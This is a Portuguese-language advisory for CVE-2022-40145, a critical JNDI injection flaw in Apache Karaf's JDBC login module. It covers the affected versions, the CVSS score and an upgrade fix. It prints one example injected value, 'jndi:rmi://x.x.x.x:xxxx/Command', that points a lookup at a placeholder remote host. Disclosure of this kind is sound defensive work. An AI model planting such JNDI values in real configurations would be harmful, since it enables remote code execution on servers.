PT-2022-25242

CVE-2022-40145

·

Publicado

2022-12-21

·

Atualizado

2023-06-27

Descrição por

CVSS 3.1
9.8
Crítica
MétricasAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Nome do software vulnerável e versões afetadas
Versões do Apache Karaf anteriores à 4.4.2 e à 4.3.8
Descrição
Este problema diz respeito a uma potencial injeção de código quando um invasor tem controle do servidor LDAP alvo usando a URL JDBC JNDI. A função jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sem filtragem. Um usuário pode modificar options.put(JDBCUtils.DATASOURCE, “osgi:” + DataSource.class.getName()); para options.put(JDBCUtils.DATASOURCE,“jndi:rmi://x.x.x.x:xxxx/Command”); em JdbcLoginModuleTest#setup. Isso é vulnerável a um ataque de execução remota de código (RCE) quando uma configuração usa uma URI de fonte de dados JNDI LDAP e um invasor tem controle do servidor LDAP de destino.
Recomendações
Para resolver o problema, atualize para a versão 4.4.2 ou 4.3.8 do Apache Karaf. Como solução temporária, considere restringir o uso da função JDBCUtils#doCreateDatasource até que um patch esteja disponível. Evite usar a configuração options.put(JDBCUtils.DATASOURCE,“jndi:rmi://x.x.x.x:xxxx/Command”); em JdbcLoginModuleTest#setup para minimizar o risco de exploração.
Explorabilidade
Exploit
Correção
Impactos
Pesquisadores
Fornecedores
Produtos afetados
Identificadores relacionados
GHSA-C2P4-8MVV-RWMV
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾